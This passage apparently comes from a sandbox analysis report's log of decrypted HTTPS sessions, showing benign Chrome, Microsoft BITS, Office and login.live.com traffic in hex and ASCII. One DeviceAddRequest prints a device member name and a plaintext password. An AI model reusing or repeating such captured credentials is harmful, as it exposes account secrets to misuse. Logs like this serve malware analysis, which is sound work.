2024-11-25 23:07:35 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-25 23:07:35 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 30 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700250,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-25 23:07:35 UTC	832	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-25 23:07:35 UTC	413	IN	Data Raw: 31 39 36 0d 0a 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 52 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d Data Ascii: 196\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnull;if(!Rd)return a;try{const b\u003dc\u003d\u003ec;a\u003dRd.createPolicy(\"ogb-qtm#htm
2024-11-25 23:07:35 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f Data Ascii: 8000};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _
2024-11-25 23:07:35 UTC	1390	IN	Data Raw: 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 Data Ascii: Id(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	142.250.181.100	443	7184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:07:34 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 23:07:35 UTC	933	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 23:07:35 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 23:07:35 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-25 23:07:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49750	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:07:37 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 23:07:38 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=37553 Date: Mon, 25 Nov 2024 23:07:38 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49757	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:07:39 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 23:07:40 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=37529 Date: Mon, 25 Nov 2024 23:07:40 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-25 23:07:40 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49758	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:07:56 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 23:07:56 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 23:07:56 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 23:06:56 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BAY x-ms-request-id: 18e03272-df37-421e-b91a-5894597ed799 PPServer: PPV: 30 H: PH1PEPF00018C02 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 23:07:56 GMT Connection: close Content-Length: 1276
2024-11-25 23:07:56 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49759	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:07:58 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-25 23:07:58 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 63 71 61 73 6f 7a 6f 66 74 6a 6a 62 73 71 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 30 42 2f 57 79 3b 4f 3d 3f 58 34 2f 46 67 52 6f 6e 44 4e 69 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 6b 71 72 6c 66 67 75 6b 69 6a 65 76 6c 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02cqasozoftjjbsq</Membername><Password>0B/Wy;O=?X4/FgRonDNi</Password></Authentication><OldMembername>02akqrlfgukijevl</OldM
2024-11-25 23:08:00 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 25 Nov 2024 23:06:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C528_BAY x-ms-request-id: 6e027d81-a270-476f-a10a-4b867b95f4d9 PPServer: PPV: 30 H: PH1PEPF0001B6DF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 23:08:00 GMT Connection: close Content-Length: 17166
2024-11-25 23:08:00 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 46 33 37 43 33 45 38 36 41 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 63 39 62 63 36 62 35 35 2d 34 38 31 34 2d 34 64 64 35 2d 39 35 65 37 2d 36 32 32 61 31 61 36 61 30 31 39 34 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00F37C3E86A</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="c9bc6b55-4814-4dd5-95e7-622a1a6a0194" LicenseID="3252b20c-d425-4711
2024-11-25 23:08:00 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49760	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 23:08:02 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 23:08:04 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 23:07:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C511_BAY x-ms-request-id: 5f0b594e-bd28-4b25-bf20-0bf7db2fe6c0 PPServer: PPV: 30 H: PH1PEPF0001B795 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 23:08:03 GMT Connection: close Content-Length: 11389
2024-11-25 23:08:04 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:03 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
